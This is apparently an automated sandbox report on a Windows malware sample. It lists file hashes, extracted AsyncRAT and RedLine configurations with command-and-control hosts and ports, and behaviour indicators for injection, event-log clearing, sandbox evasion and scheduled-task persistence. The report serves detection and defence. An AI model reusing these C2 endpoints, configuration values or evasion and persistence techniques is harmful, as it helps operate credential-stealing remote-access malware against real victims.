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Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
05/08/2024, 15:52
Static task
static1
Behavioral task
behavioral1
Sample
59d3bc9ca446bf4fcce3a93cdbce134a.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
59d3bc9ca446bf4fcce3a93cdbce134a.exe
Resource
win10v2004-20240802-en
General
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Target
59d3bc9ca446bf4fcce3a93cdbce134a.exe
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Size
322KB
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MD5
59d3bc9ca446bf4fcce3a93cdbce134a
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SHA1
37120e1b71956b5f3852605db0f33f4565a3952d
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SHA256
1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db
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SHA512
d23ddc6d55d8bf237e68d946f1a330a14907ea2b891ccea0890f63ee0f47f746b6e1d9d2151da1744b36d14b06b428fe308ffd97ae44732f3491682610950b63
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SSDEEP
6144:3RptkRZIFoIkY/7J81GyQUMTa5+suXqWxHNDf1CPyysAosQSPJHdlLTpn:jHoIfjJ80Rl86xHTCPvsASQJHd
Malware Config
Extracted
asyncrat
0.5.8
blue.o7lab.me:7777
server.underground-cheat.xyz:7777
RPYntXGt1eJi
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delay
3
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install
true
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install_file
WinUpdate.exe
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install_folder
%AppData%
Extracted
redline
server.underground-cheat.xyz
server.underground-cheat.xyz:1337
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 2 IoCs
resource yara_rule behavioral2/files/0x000400000001693b-5066.dat family_redline behavioral2/memory/1876-5099-0x0000000000C40000-0x0000000000C5E000-memory.dmp family_redline -
SectopRAT payload 2 IoCs
resource yara_rule behavioral2/files/0x000400000001693b-5066.dat family_sectoprat behavioral2/memory/1876-5099-0x0000000000C40000-0x0000000000C5E000-memory.dmp family_sectoprat -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 3668 created 600 3668 powershell.EXE 5 PID 3532 created 600 3532 powershell.EXE 5 -
Async RAT payload 1 IoCs
resource yara_rule behavioral2/files/0x000800000002346f-25.dat family_asyncrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 2388 powershell.exe 3916 powershell.exe 2348 powershell.exe 3464 powershell.exe 3532 powershell.EXE 3668 powershell.EXE -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation 59d3bc9ca446bf4fcce3a93cdbce134a.exe Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation $77svchost.exe Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation WinUpdate.exe -
Executes dropped EXE 7 IoCs
pid Process 1404 Install.exe 5032 $77svchost.exe 4332 WinUpdate.exe 2364 kuzvch.exe 1876 qijzoj.exe 4552 zgnutm.exe 1820 TypeId.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Drops file in System32 directory 13 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\WinUpdate svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\WaitHandle\TypeId svchost.exe File opened for modification C:\Windows\System32\Tasks\$77svc64 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\apwlj svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3668 set thread context of 1048 3668 powershell.EXE 92 PID 3532 set thread context of 4284 3532 powershell.EXE 120 PID 1820 set thread context of 220 1820 TypeId.exe 122 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 16 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 59d3bc9ca446bf4fcce3a93cdbce134a.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WinUpdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language $77svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language qijzoj.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zgnutm.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 3404 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={FD7E0FD4-25A8-47BF-931C-B1B997EC4881}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1722873209" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ 59d3bc9ca446bf4fcce3a93cdbce134a.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2296 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3668 powershell.EXE 3668 powershell.EXE 3668 powershell.EXE 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 1048 dllhost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe 5032 $77svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3668 powershell.EXE Token: SeDebugPrivilege 3668 powershell.EXE Token: SeDebugPrivilege 1048 dllhost.exe Token: SeDebugPrivilege 5032 $77svchost.exe Token: SeShutdownPrivilege 3524 Explorer.EXE Token: SeCreatePagefilePrivilege 3524 Explorer.EXE Token: SeDebugPrivilege 4332 WinUpdate.exe Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe Token: SeSystemEnvironmentPrivilege 2016 svchost.exe Token: SeUndockPrivilege 2016 svchost.exe Token: SeManageVolumePrivilege 2016 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe Token: SeSystemEnvironmentPrivilege 2016 svchost.exe Token: SeUndockPrivilege 2016 svchost.exe Token: SeManageVolumePrivilege 2016 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe Token: SeSystemEnvironmentPrivilege 2016 svchost.exe Token: SeUndockPrivilege 2016 svchost.exe Token: SeManageVolumePrivilege 2016 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe Token: SeSystemEnvironmentPrivilege 2016 svchost.exe Token: SeUndockPrivilege 2016 svchost.exe Token: SeManageVolumePrivilege 2016 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2016 svchost.exe Token: SeIncreaseQuotaPrivilege 2016 svchost.exe Token: SeSecurityPrivilege 2016 svchost.exe Token: SeTakeOwnershipPrivilege 2016 svchost.exe Token: SeLoadDriverPrivilege 2016 svchost.exe Token: SeSystemtimePrivilege 2016 svchost.exe Token: SeBackupPrivilege 2016 svchost.exe Token: SeRestorePrivilege 2016 svchost.exe Token: SeShutdownPrivilege 2016 svchost.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3524 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2468 wrote to memory of 1404 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 88 PID 2468 wrote to memory of 1404 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 88 PID 2468 wrote to memory of 1404 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 88 PID 2468 wrote to memory of 5032 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 89 PID 2468 wrote to memory of 5032 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 89 PID 2468 wrote to memory of 5032 2468 59d3bc9ca446bf4fcce3a93cdbce134a.exe 89 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 3668 wrote to memory of 1048 3668 powershell.EXE 92 PID 1048 wrote to memory of 600 1048 dllhost.exe 5 PID 1048 wrote to memory of 676 1048 dllhost.exe 7 PID 1048 wrote to memory of 956 1048 dllhost.exe 12 PID 1048 wrote to memory of 1020 1048 dllhost.exe 13 PID 1048 wrote to memory of 408 1048 dllhost.exe 14 PID 1048 wrote to memory of 1036 1048 dllhost.exe 16 PID 1048 wrote to memory of 1136 1048 dllhost.exe 17 PID 1048 wrote to memory of 1152 1048 dllhost.exe 18 PID 1048 wrote to memory of 1160 1048 dllhost.exe 19 PID 1048 wrote to memory of 1168 1048 dllhost.exe 20 PID 1048 wrote to memory of 1244 1048 dllhost.exe 21 PID 1048 wrote to memory of 1252 1048 dllhost.exe 22 PID 1048 wrote to memory of 1340 1048 dllhost.exe 23 PID 1048 wrote to memory of 1416 1048 dllhost.exe 24 PID 1048 wrote to memory of 1456 1048 dllhost.exe 25 PID 1048 wrote to memory of 1616 1048 dllhost.exe 26 PID 1048 wrote to memory of 1624 1048 dllhost.exe 27 PID 1048 wrote to memory of 1640 1048 dllhost.exe 28 PID 1048 wrote to memory of 1732 1048 dllhost.exe 29 PID 1048 wrote to memory of 1752 1048 dllhost.exe 30 PID 1048 wrote to memory of 1824 1048 dllhost.exe 31 PID 1048 wrote to memory of 1940 1048 dllhost.exe 32 PID 1048 wrote to memory of 1992 1048 dllhost.exe 33 PID 1048 wrote to memory of 2004 1048 dllhost.exe 34 PID 1048 wrote to memory of 2016 1048 dllhost.exe 35 PID 1048 wrote to memory of 1568 1048 dllhost.exe 36 PID 1048 wrote to memory of 1872 1048 dllhost.exe 37 PID 1048 wrote to memory of 2096 1048 dllhost.exe 38 PID 1048 wrote to memory of 2212 1048 dllhost.exe 40 PID 1048 wrote to memory of 2380 1048 dllhost.exe 41 PID 1048 wrote to memory of 2492 1048 dllhost.exe 42 PID 1048 wrote to memory of 2500 1048 dllhost.exe 43 PID 1048 wrote to memory of 2636 1048 dllhost.exe 44 PID 1048 wrote to memory of 2648 1048 dllhost.exe 45 PID 1048 wrote to memory of 2712 1048 dllhost.exe 46 PID 1048 wrote to memory of 2772 1048 dllhost.exe 47 PID 1048 wrote to memory of 2796 1048 dllhost.exe 48 PID 1048 wrote to memory of 2804 1048 dllhost.exe 49 PID 1048 wrote to memory of 2832 1048 dllhost.exe 50 PID 1048 wrote to memory of 2840 1048 dllhost.exe 51 PID 1048 wrote to memory of 2932 1048 dllhost.exe 52 PID 1048 wrote to memory of 3076 1048 dllhost.exe 53 PID 1048 wrote to memory of 3448 1048 dllhost.exe 55 PID 1048 wrote to memory of 3524 1048 dllhost.exe 56 PID 1048 wrote to memory of 3656 1048 dllhost.exe 57 PID 1048 wrote to memory of 3840 1048 dllhost.exe 58 PID 1048 wrote to memory of 3996 1048 dllhost.exe 60 PID 1048 wrote to memory of 3652 1048 dllhost.exe 62 PID 1048 wrote to memory of 3752 1048 dllhost.exe 65 PID 1048 wrote to memory of 532 1048 dllhost.exe 66 -
Uses Task Scheduler COM API 1 TTPs
